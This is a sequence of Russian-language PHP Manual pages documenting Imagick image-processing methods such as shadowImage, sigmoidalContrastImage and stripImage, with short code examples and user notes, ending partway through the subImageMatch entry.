  • Imagick::setSize »
  • PHP Manual
  • Imagick
  • Устанавливает коэффициенты выборки изображений

Imagick::setSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::setSamplingFactors — Устанавливает коэффициенты выборки изображений

Описание

public Imagick::setSamplingFactors(array $factors): bool

Устанавливает коэффициенты выборки изображений.

Список параметров

factors

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setSamplingFactors()

<?php
function setSamplingFactors($imagePath) {

$imagePath = "../imagick/images/FineDetail.png";
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('jpg');
$imagick->setSamplingFactors(array('2x2', '1x1', '1x1'));

$compressed = $imagick->getImageBlob();

$reopen = new \Imagick();
$reopen->readImageBlob($compressed);

$reopen->resizeImage(
$reopen->getImageWidth() * 4,
$reopen->getImageHeight() * 4,
\Imagick::FILTER_POINT,
1
);

header("Content-Type: image/jpg");
echo $reopen->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает размер объекта Imagick

  • « Imagick::setSamplingFactors
  • Imagick::setSizeOffset »
  • PHP Manual
  • Imagick
  • Устанавливает размер объекта Imagick

Imagick::setSize

(PECL imagick 2, PECL imagick 3)

Imagick::setSize — Устанавливает размер объекта Imagick

Описание

public Imagick::setSize(int $columns, int $rows): bool

Устанавливает размер объекта Imagick. Установите его перед чтением необработанного формата изображения, такого как RGB, GRAY или CMYK.

Список параметров

columns

rows

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Ade 31-Mar-2017 09:40
This function is not working for me at all.
I am trying to generate Images from a PDF and this function does literally NOTHING, even it returns 'true'.....
Mike Pratt 25-Sep-2012 05:48
Using setSize before reading an image file tells ImageMagick to resize the image immediately on load - this can give a substantial increase in performance time and save memory and disk resources for large images:

<?php

$image = new Imagick();
$image->setSize(800,600);
$image->readImage($file);

?>

This might also save you having to call thumbnailImage to resize the image.

On my server, this only made a difference with jpgs - pngs and gifs were loaded at full size which took much longer (30s or more compared to 6s for a similar sized jpg).


Устанавливает размер и смещение объекта Imagick

  • « Imagick::setSize
  • Imagick::setType »
  • PHP Manual
  • Imagick
  • Устанавливает размер и смещение объекта Imagick

Imagick::setSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::setSizeOffset — Устанавливает размер и смещение объекта Imagick

Описание

public Imagick::setSizeOffset(int $columns, int $rows, int $offset): bool

Устанавливает размер и смещение объекта Imagick. Установите его перед чтением необработанного формата изображения, такого как RGB, GRAY или CMYK. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

columns

Ширина в пикселях.

rows

Высота в пикселях.

offset

Смещение изображения.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает атрибут типа изображения

  • « Imagick::setSizeOffset
  • Imagick::shadeImage »
  • PHP Manual
  • Imagick
  • Устанавливает атрибут типа изображения

Imagick::setType

(PECL imagick 2, PECL imagick 3)

Imagick::setType — Устанавливает атрибут типа изображения

Описание

public Imagick::setType(int $image_type): bool

Устанавливает атрибут типа изображения.

Список параметров

image_type

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт 3D-эффект

  • « Imagick::setType
  • Imagick::shadowImage »
  • PHP Manual
  • Imagick
  • Создаёт 3D-эффект

Imagick::shadeImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadeImage — Создаёт 3D-эффект

Описание

public Imagick::shadeImage(bool $gray, float $azimuth, float $elevation): bool

Светит дальний свет на изображение для создания трёхмерного эффекта. Вы управляете расположением источника света с помощью азимута и возвышения; азимут измеряется в градусах от оси X, а высота измеряется в пикселях над осью Z. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

gray

Значение, отличное от нуля, оттеняет интенсивность каждого пикселя.

azimuth

Определяет направление источника света.

elevation

Определяет направление источника света.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Выбрасывает исключение ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::shadeImage()

<?php
function shadeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shadeImage(true, 45, 20);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Имитирует тень изображения

  • « Imagick::shadeImage
  • Imagick::sharpenImage »
  • PHP Manual
  • Imagick
  • Имитирует тень изображения

Imagick::shadowImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadowImage — Имитирует тень изображения

Описание

public Imagick::shadowImage(
float $opacity,
float $sigma,
int $x,
int $y
): bool

Имитирует тень изображения.

Список параметров

opacity

sigma

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::shadowImage()

<?php
function shadowImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shadowImage(0.4, 10, 50, 5);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

nilayanand at gmail dot com 27-Jul-2009 10:43
<?php
/* Read the image into the object */
$im = new Imagick( 'a.jpg' );
$im->setImageFormat("png");

/* Make the image a little smaller, maintain aspect ratio */
$im->thumbnailImage( 200, null );

/* Clone the current object */
$shadow = $im->clone();

/* Set image background color to black
        (this is the color of the shadow) */
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

/* Create the shadow */
$shadow->shadowImage( 80, 3, 5, 5 );

/* Imagick::shadowImage only creates the shadow.
        That is why the original image is composited over it */
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Display the image */
header( "Content-Type: image/jpeg" );
echo $shadow;
?>


Повышает резкость изображения

  • « Imagick::shadowImage
  • Imagick::shaveImage »
  • PHP Manual
  • Imagick
  • Повышает резкость изображения

Imagick::sharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::sharpenImage — Повышает резкость изображения

Описание

public Imagick::sharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Повышает резкость изображения. Сворачивание изображения с помощью гауссовского оператора заданного радиуса и стандартного отклонения (сигма). Для разумных результатов радиус должен быть больше сигмы. Используйте радиус 0, и Imagick::sharpenImage() выберет подходящий для вас радиус.

Список параметров

radius

sigma

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::sharpenImage()

<?php
function sharpenImage($imagePath, $radius, $sigma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sharpenimage($radius, $sigma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет пиксели по краям изображения

  • « Imagick::sharpenImage
  • Imagick::shearImage »
  • PHP Manual
  • Imagick
  • Удаляет пиксели по краям изображения

Imagick::shaveImage

(PECL imagick 2, PECL imagick 3)

Imagick::shaveImage — Удаляет пиксели по краям изображения

Описание

public Imagick::shaveImage(int $columns, int $rows): bool

Удаляет пиксели по краям изображения. Метод выделяет память, необходимую для новой структуры изображения, и возвращает указатель на новое изображение.

Список параметров

columns

rows

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::shaveImage()

<?php
function shaveImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shaveImage(100, 50);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт параллелограмм

  • « Imagick::shaveImage
  • Imagick::sigmoidalContrastImage »
  • PHP Manual
  • Imagick
  • Создаёт параллелограмм

Imagick::shearImage

(PECL imagick 2, PECL imagick 3)

Imagick::shearImage — Создаёт параллелограмм

Описание

public Imagick::shearImage(mixed $background, float $x_shear, float $y_shear): bool

Сдвигает один край изображения по оси X или Y, образуя параллелограмм. Сдвиг в направлении X сдвигает край по оси X, а сдвиг в направлении Y перемещает край по оси Y. Величина сдвига контролируется углом сдвига. Для сдвига в направлении X, x_shear измеряется относительно оси Y и аналогично для сдвига в направлении Y, y_shear измеряется относительно оси X. Пустые треугольники, оставшиеся от обрезки изображения, заполняются цветом фона.

Список параметров

background

Цвет фона.

x_shear

Количество градусов для сдвига по оси X.

y_shear

Количество градусов для сдвига по оси Y.

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь допускается строка, представляющая цвет, в качестве первого параметра. Ранее допускался только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::shearImage()

<?php
function shearImage($imagePath, $color, $shearX, $shearY) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shearimage($color, $shearX, $shearY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

raja at tweetchennai dot com 13-Aug-2009 05:42
Eg:

<?php
$image = new Imagick('pic.png');
$image ->shearImage('grey', 10 , 5);
$image ->writeImage('final.png');
?>


Регулирует контраст изображения

  • « Imagick::shearImage
  • Imagick::sketchImage »
  • PHP Manual
  • Imagick
  • Регулирует контраст изображения

Imagick::sigmoidalContrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::sigmoidalContrastImage — Регулирует контраст изображения

Описание

public Imagick::sigmoidalContrastImage(
bool $sharpen,
float $alpha,
float $beta,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Регулирует контраст изображения с помощью алгоритма нелинейного сигмоидального контраста. Увеличьте контраст изображения с помощью сигмоидальной передаточной функции без насыщения светлых участков или теней. Контрастность указывает, насколько увеличить контраст (0 - нет; 3 - типичный; 20 - усиление); Средняя точка указывает, где попадают средние тона в результирующем изображении (0 - белый; 50 - средний серый; 100 - чёрный). Установите резкость на true для увеличения контрастности изображения, в противном случае контрастность уменьшается.

Смотрите также » Примеры ImageMagick v6 - Преобразования изображений - Контраст сигмоидальной нелинейности.

Список параметров

sharpen

Если true, контраст увеличивается, если false - уменьшается.

alpha

Количество применяемого контраста. 1 - очень мало, 5 - значительное, 20 - максимальная величина.

beta

Где будет середина градиента. Это значение должно быть в диапазоне от 0 до 1 - вне зависимости от квантового значения ImageMagick.

channel

К каким цветовым каналам будет применяться контраст.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Создание градиентного изображения, используя Imagick::sigmoidalContrastImage(), подходящую для плавного смешивания двух изображений вместе, со смешиванием, определяемого контрастом и средней точкой.

<?php

function generateBlendImage($width, $height, $contrast = 10, $midpoint = 0.5) {
$imagick = new Imagick();
$imagick->newPseudoImage($width, $height, 'gradient:black-white');
$quanta = $imagick->getQuantumRange();
$imagick->sigmoidalContrastImage(true, $contrast, $midpoint * $quanta["quantumRangeLong"]);

return $imagick;
}

?>

User Contributed Notes

SkepticaLee 28-Nov-2015 11:05
The formula for sigmoidal contrast given by Thyssen is missing a term. It should be:

( 1/(1+exp(?*(?-u))) - 1/(1+exp(?*?)) ) / ( 1/(1+exp(?*(?-1))) - 1/(1+exp(?*?)) )

where there was an ? missing from the second term.

Note that a sigmoidal contrast with ? = 6 and ? = 0.46 is approximately equivalent to combining a "screen" overlay of the image on itself, followed by a "multiply" overlay.
acameron at theatomgroup dot com 17-Dec-2013 07:48
The documentation for this function really isn't useful or helpful at all. "Sharpen", "Contrast" and "Midpoint" aren't the names of the params, which are referred to as "alpha" and "beta".

The Imagemagick manual entry:

For those interested, the corrected formula for the 'sigmoidal non-linearity contrast control' is...
( 1/(1+exp(?*(?-u))) - 1/(1+exp(?)) ) / ( 1/(1+exp(?*(?-1))) - 1/(1+exp(?*?)) )
Where ? is the threshold level, and ? the contrast factor to be applied.
The formula is actually very simple exponential curve, with the bulk of the above formula is designed to ensure that 0 remains zero and 1 remains one. That is, the graph always goes though the points 0,0 and 1,1. And the highest gradient of change is at the given threshold.

Src: http://www.imagemagick.org/Usage/color_mods/#sigmoidal

In the Imagick extension source, the function call is:

 status = MagickSigmoidalContrastImageChannel(intern->magick_wand, channel, sharpen, alpha, beta);

Src: https://github.com/mkoppanen/imagick/

Referring back to the binary API call gives:

foreign import ccall "MagickSigmoidalContrastImageChannel" magickSigmoidalContrastImageChannel
  :: Ptr MagickWand
  -> ChannelType       -- ^ identify which channel to level: `redChannel`, `greenChannel`
  -> MagickBooleanType -- ^ increase or decrease image contrast
  -> CDouble           -- ^ strength of the contrast, the larger the number the more 'threshold-like' it becomes
  -> CDouble           -- ^ midpoint of the function as a color value 0 to `quantumRange`
  -> IO MagickBooleanType

Src: http://hackage.haskell.org/package/imagemagick-0.0.2/docs/src/Graphics-ImageMagick-MagickWand-FFI-WandImage.html

So the parameters should apparently be interpreted:

Sharpen:     0/1 (increase/decrease contrast)
Alpha:       Strength of the contrast (typically 3-20)
Beta:        Midpoint of the contrast (typically 50)


Имитирует набросок карандашом

  • « Imagick::sigmoidalContrastImage
  • Imagick::smushImages »
  • PHP Manual
  • Imagick
  • Имитирует набросок карандашом

Imagick::sketchImage

(PECL imagick 2, PECL imagick 3)

Imagick::sketchImage — Имитирует набросок карандашом

Описание

public Imagick::sketchImage(float $radius, float $sigma, float $angle): bool

Имитирует набросок карандашом. Изображение сворачивается с помощью гауссовского оператора, заданного радиуса и стандартного отклонения (сигма). Для разумных результатов радиус должен быть больше сигмы. Используйте радиус 0, чтобы Imagick::sketchImage() использовала подходящий радиус самостоятельно. Угол задаёт угол размытия движения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

radius

Радиус гауссианы в пикселях, не считая центрального пикселя.

sigma

Стандартное отклонение гауссианы в пикселях.

angle

Применяется эффект под указанным углом.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::sketchImage()

<?php
function sketchImage($imagePath, $radius, $sigma, $angle) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sketchimage($radius, $sigma, $angle);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их

  • « Imagick::sketchImage
  • Imagick::solarizeImage »
  • PHP Manual
  • Imagick
  • Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их

Imagick::smushImages

(PECL imagick 3 >= 3.3.0)

Imagick::smushImages — Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их

Описание

public Imagick::smushImages(bool $stack, int $offset): Imagick

Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их друг к другу сверху вниз, если параметру stack установлено значение true, в противном случае - слева направо.

Список параметров

stack

offset

Возвращаемые значения

Новое размытое изображение.

Примеры

Пример #1 Пример использования Imagick::smushImages()

<?php
function smushImages($imagePath, $imagePath2) {

$imagick = new \Imagick(realpath($imagePath));
$imagick2 = new \Imagick(realpath($imagePath2));

$imagick->addimage($imagick2);
$smushed = $imagick->smushImages(false, 50);
$smushed->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $smushed->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Применяет к изображению эффект соляризации

  • « Imagick::smushImages
  • Imagick::sparseColorImage »
  • PHP Manual
  • Imagick
  • Применяет к изображению эффект соляризации

Imagick::solarizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::solarizeImage — Применяет к изображению эффект соляризации

Описание

public Imagick::solarizeImage(int $threshold): bool

Применяет к изображению специальный эффект, аналогичный эффекту, достигаемому в фотолаборатории путём выборочного воздействия света на участки фоточувствительной бумаги. Порог варьируется от 0 до QuantumRange и является мерой степени соляризации.

Список параметров

threshold

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::solarizeImage()

<?php
function solarizeImage($imagePath, $solarizeThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->solarizeImage($solarizeThreshold * \Imagick::getQuantum());
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 10:10
This is something neat that you can do to an image as part of making it artistic, probably in conjunction with other ImageMagick effects, like PosterizeImage and OilPaintImage.  SolarizeImage shifts the whole color spectrum toward red for an image -- white gets pushed directly into red, blues get pushed into greens, etc..  It is mostly a psychedelic effect.  You have the option of choosing one parameter for "Threshold", which is really simply how much of this effect you want to have in an image.  The minimum value is 0, and using a negative number defaults it to 0.  The maximum value is the Quantum Threshold.  You can get this value by the ImageMagick function getQuantumRange.  On my install of PHP, that value is set to 65535 (2^16).  Going higher than the Quantum Range defaults to the Quantum Range.  An image with this function performed on it at Threshold 0 has the maximum effect performed, and at Threshold maximum the image has no changes made to it at all.

And now a simple demonstration of the code :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Image File Data
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->solarizeImage(30000);

        // Filename
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/test_new.bmp";

        // Save File
        // ---------------------------------------------

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Интерполирует цвета

  • « Imagick::solarizeImage
  • Imagick::spliceImage »
  • PHP Manual
  • Imagick
  • Интерполирует цвета

Imagick::sparseColorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::sparseColorImage — Интерполирует цвета

Описание

public Imagick::sparseColorImage(int $SPARSE_METHOD, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool

Учитывая массив аргументов, содержащий числовые значения, метод интерполирует цвета, найденные с этими координатами, по всему изображению, используя sparse_method. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.5 или старше.

Список параметров

SPARSE_METHOD

Обратитесь к этому списку sparse method constants

arguments

Массив, содержащий координаты. Массив в формате array(1,1, 2,45)

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
function renderImageBarycentric2() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(
400, 400,
$points,
\Imagick::SPARSECOLORMETHOD_BARYCENTRIC
);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Пример #2 SPARSECOLORMETHOD_BILINEAR Imagick::sparseColorImage()

<?php
function renderImageBilinear() {
$points = [[0.30, 0.10, 'red'], [0.10, 0.80, 'blue'], [0.70, 0.60, 'lime'], [0.80, 0.20, 'yellow'],];
$imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_BILINEAR);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Пример #3 SPARSECOLORMETHOD_SPEPARDS Imagick::sparseColorImage()

<?php
function renderImageShepards() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(600, 600, $points, \Imagick::SPARSECOLORMETHOD_SPEPARDS);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Пример #4 SPARSECOLORMETHOD_VORONOI Imagick::sparseColorImage()

<?php
function renderImageVoronoi() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_VORONOI);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Пример #5 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
function renderImageBarycentric() {
$points = [
[0, 0, 'skyblue'],
[-1, 1, 'skyblue'],
[1, 1, 'black'],
];
$imagick = createGradientImage(600, 200, $points, \Imagick::SPARSECOLORMETHOD_BARYCENTRIC);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Пример #6 createGradientImage is used by other examples. Imagick::sparseColorImage()

<?php
function createGradientImage($width, $height, $colorPoints, $sparseMethod, $absolute = false) {

$imagick = new \Imagick();
$imagick->newImage($width, $height, "white");
$imagick->setImageFormat("png");

$barycentricPoints = array();

foreach ($colorPoints as $colorPoint) {

if ($absolute == true) {
$barycentricPoints[] = $colorPoint[0];
$barycentricPoints[] = $colorPoint[1];
}
else {
$barycentricPoints[] = $colorPoint[0] * $width;
$barycentricPoints[] = $colorPoint[1] * $height;
}

if (is_string($colorPoint[2])) {
$imagickPixel = new \ImagickPixel($colorPoint[2]);
}
else if ($colorPoint[2] instanceof \ImagickPixel) {
$imagickPixel = $colorPoint[2];
}
else{
$errorMessage = sprintf(
"Значение %s не является ни строкой, ни классом ImagickPixel. Не может использовать в качестве цвета.",
$colorPoint[2]
);

throw new \InvalidArgumentException(
$errorMessage
);
}

$red = $imagickPixel->getColorValue(\Imagick::COLOR_RED);
$green = $imagickPixel->getColorValue(\Imagick::COLOR_GREEN);
$blue = $imagickPixel->getColorValue(\Imagick::COLOR_BLUE);
$alpha = $imagickPixel->getColorValue(\Imagick::COLOR_ALPHA);

$barycentricPoints[] = $red;
$barycentricPoints[] = $green;
$barycentricPoints[] = $blue;
$barycentricPoints[] = $alpha;
}

$imagick->sparseColorImage($sparseMethod, $barycentricPoints);

return $imagick;
}

?>

User Contributed Notes

aehtyb[]gmail.com 12-May-2016 08:48
For those curious how to use sparseColorImage() directly without the seperate createGradientImage() function.. here is the format of the array used:

Array (
[0]  => 0   // X1 (X coordinate value #1)
[1]  => 0   // Y1 (Y coordinate value #1)
[2]  => 1   // R (red value between 0 and 1)
[3]  => 0   // G (green value between 0 and 1)
[4]  => 0   // B (blue value between 0 and 1)
[5]  => 1   // A (alpha value between 0 and 1)
[6]  => 400 // X2
[7]  => 0   // Y2
[8]  => 0   // R
[9]  => 1   // G
[10] => 0   // B
[11] => 1   // A
[12] => 0   // X3
[13] => 400 // Y3
[14] => 1   // R
[15] => 1   // G
[16] => 0   // B
[17] => 1   // A
[18] => 400 // X4
[19] => 400 // Y4
[20] => 0   // R
[21] => 0   // G
[22] => 1   // B
[23] => 1   // A
)

<?php

$imagick = new imagick();
$imagick->newImage(400,400,"white");
$imagick->setImageFormat("png");

$array = Array(0,0,1,0,0,1,400,0,0,1,0,1,0,400,1,1,0,1,400,400,0,0,1,1);
$imagick->sparseColorImage(imagick::SPARSECOLORMETHOD_BILINEAR,$array);

header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>


Склеивает сплошной цвет в изображение

  • « Imagick::sparseColorImage
  • Imagick::spreadImage »
  • PHP Manual
  • Imagick
  • Склеивает сплошной цвет в изображение

Imagick::spliceImage

(PECL imagick 2, PECL imagick 3)

Imagick::spliceImage — Склеивает сплошной цвет в изображение

Описание

public Imagick::spliceImage(
int $width,
int $height,
int $x,
int $y
): bool

Склеивает сплошной цвет в изображение.

Список параметров

width

height

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::spliceImage()

<?php
function spliceImage($imagePath, $startX, $startY, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->spliceImage($width, $height, $startX, $startY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

fake0 at shenafu dot com 29-Apr-2016 03:16
spliceImage() increases the dimensions of the image without stretching the original image by creating a box of the same color as the image's background.

You can set the color with setImageBackgroundColor() before running spliceImage().

The $width and $height parameters define how much is increased horizontally and vertically, respectively, which determines how big the box is. (Note that these values are not always the same size as the box.) The final dimensions of the new image are
$newWidth = $oldWidth + $width
$newHeight = $oldHeight + $height

So, to expand the image in both directions, $width and $height should be positive values. To expand in only one direction (horizontally or vertically), set one of these values to 0 ($height or $width respectively).

The $x and $y parameters are relative to the original image and define where to put the box. If $x and $y are one of the corners of the original image, the box is placed in the respective corner and expands the image outward from that corner. Otherwise, the box splits the original image to the sides or corners and places the box in the middle of the new image. Thus, you use $x and $y to direct where and how the original image is split. Any remaining space is filled with the background color.


Случайно смещает каждый пиксель в блоке

  • « Imagick::spliceImage
  • Imagick::statisticImage »
  • PHP Manual
  • Imagick
  • Случайно смещает каждый пиксель в блоке

Imagick::spreadImage

(PECL imagick 2, PECL imagick 3)

Imagick::spreadImage — Случайно смещает каждый пиксель в блоке

Описание

public Imagick::spreadImage(float $radius): bool

Метод специальных эффектов, который случайным образом смещает каждый пиксель в блоке, заданном параметром radius.

Список параметров

radius

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::spreadImage()

<?php
function spreadImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->spreadImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Модификация изображения с помощью функции статистики

  • « Imagick::spreadImage
  • Imagick::steganoImage »
  • PHP Manual
  • Imagick
  • Модификация изображения с помощью функции статистики

Imagick::statisticImage

(PECL imagick 3 >= 3.3.0)

Imagick::statisticImage — Модификация изображения с помощью функции статистики

Описание

public Imagick::statisticImage(
int $type,
int $width,
int $height,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Заменяет каждый пиксель соответствующей статистикой из окрестности указанной ширины и высоты.

Список параметров

type

width

height

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::statisticImage()

<?php
function statisticImage($imagePath, $statisticType, $width, $height, $channel) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->statisticImage(
$statisticType,
$width,
$height,
$channel
);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

statisticImage($imagePath, \Imagick::STATISTIC_MEDIAN, 5, 5, \Imagick::CHANNEL_DEFAULT);

?>

User Contributed Notes

There are no user contributed notes for this page.


Скрывает цифровой водяной знак в изображении

  • « Imagick::statisticImage
  • Imagick::stereoImage »
  • PHP Manual
  • Imagick
  • Скрывает цифровой водяной знак в изображении

Imagick::steganoImage

(PECL imagick 2, PECL imagick 3)

Imagick::steganoImage — Скрывает цифровой водяной знак в изображении

Описание

public Imagick::steganoImage(Imagick $watermark_wand, int $offset): Imagick

Скрывает цифровой водяной знак в изображении. Восстановите скрытый водяной знак позже, чтобы доказать подлинность изображения. Смещение определяет начальную позицию на изображении, чтобы скрыть водяной знак.

Список параметров

watermark_wand

offset

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Объединяет два изображения

  • « Imagick::steganoImage
  • Imagick::stripImage »
  • PHP Manual
  • Imagick
  • Объединяет два изображения

Imagick::stereoImage

(PECL imagick 2, PECL imagick 3)

Imagick::stereoImage — Объединяет два изображения

Описание

public Imagick::stereoImage(Imagick $offset_wand): bool

Объединяет два изображения и создаёт одно изображение, которое является составной частью левого и правого изображения стереопары.

Список параметров

offset_wand

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Снимает изображение всех профилей и комментариев

  • « Imagick::stereoImage
  • Imagick::subImageMatch »
  • PHP Manual
  • Imagick
  • Снимает изображение всех профилей и комментариев

Imagick::stripImage

(PECL imagick 2, PECL imagick 3)

Imagick::stripImage — Снимает изображение всех профилей и комментариев

Описание

public Imagick::stripImage(): bool

Снимает изображение всех профилей и комментариев.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Max Eremin 28-Dec-2016 12:11
StripImage also delete ICC image profile by default.
The resulting images seem to lose a lot of color information and look "flat" compared to their non-stripped versions.

Consider keeping the ICC profile (which causes richer colors) while removing all other EXIF data:

1. Extract the ICC profile
2. Strip EXIF data and image profile
3. Add the ICC profile back

The code is:
<?php
$profiles = $img->getImageProfiles("icc", true);

$img->stripImage();

if(!empty($profiles))
    $img->profileImage("icc", $profiles['icc']);
?>
g dot a dot karthikeyan at gmail dot com 23-Dec-2013 07:09
Please note that striping off the exif information without handling the orientation information available in the exif will lead to wrong orientation of the image
pengc99 02-May-2011 10:09
this will actually clear exif data so if you run an image uploading script with privacy concerns, this will effectively clear all GPS / metadata from the image.


Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение

  • « Imagick::stripImage
  • Imagick::swirlImage »
  • PHP Manual
  • Imagick
  • Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение

Imagick::subImageMatch

(PECL imagick 3 >= 3.3.0)

Imagick::subImageMatch — Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение

Описание

public Imagick::subImageMatch(Imagick $Imagick, array &$offset = ?, float &$similarity = ?): Imagick

